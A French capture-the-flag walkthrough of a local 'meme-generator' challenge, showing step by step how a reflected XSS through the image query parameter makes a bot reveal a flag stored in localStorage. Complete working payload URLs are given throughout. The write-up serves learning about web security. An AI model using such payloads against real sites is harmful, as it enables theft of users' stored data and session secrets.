Étape 1: Tester le bot
Tout dabord nous allons nous connecter avec netcat pour voir ce qui est attendu.
Avec la commande nc localhost 4000
On obtient :
Les console.log nous seront retournés, très intéressant.
Pour voir le comportement j’ai entré l’url http://google.fr
Ce qui m’a donné :
2 informations intéressantes en ressortent :
Setting the flag in the localStorage for http://meme-generator/
On sait qu’il y a le flag dans le localstorage et quelle adresse nous devons faire appeler par le bot !
Étape 2: Découvrir le site
Connectons-nous maintenant sur la partie web : http://localhost:8000/
Donc, le fonctionnement est simple : on clique sur une image à gauche et le formulaire à droite devient actif, on rentre un texte et on a notre mème !
Étape 3: Faire une alerte
Première chose qui parait logique, c’est de tenter une injection XSS depuis le texte. En entrant le texte : <script>alert("hello world");</script>
dans le champ, cela nous redirige (on aura donc une injection XSS de type Reflected depuis les données provenant de la queryString).
localhost:8000/?image=chill.jpeg&text=<script>alert("hello world");</script>
On s’aperçoit que le texte entré est modifié en MAJUSCULE.
Cependant, on voit que le nom de l’image est également dans l’url et si on tentait l’injection via l’image ?
localhost:8000/?image=chill.jpeg"><script>alert("Hello World");</script>&text=YOUPI
Cela nous donne:
On a réussi à faire l’alerte!
Étape 4: Faire le console log du flag dans localstorage
Pour pouvoir tester comme il se doit, nous allons créer un flag de test dans notre localStorage.
Ouvrez la console de votre navigateur et, dans la console, exécutez :
localStorage.setItem('flag','test de Cyrhades')
Et appelez l’url : localhost:8000/?image=chill.jpeg"><script>console.log(localStorage.getItem('flag'));</script>&text=YOUPI
Si vous voyez “test de Cyrhades
” dans la console, c’est réussi:
Étape 5: Préparer et envoyer l’injection au BOT
Nous avions vu que le bot nous retournerait les console.log ainsi que l’url a appelé était http://meme-generator
, nous allons donc adapter notre injection!
http://meme-generator/?image=grumpy.jpeg"><script>console.log(localStorage.getItem('flag'))</script>&text=oops
Retournez sur netcat : nc localhost:4000
Puis envoyez l’url : http://meme-generator/?image=grumpy.jpeg"><script>console.log(localStorage.getItem('flag'))</script>&text=oops
Vous obtenez le flag.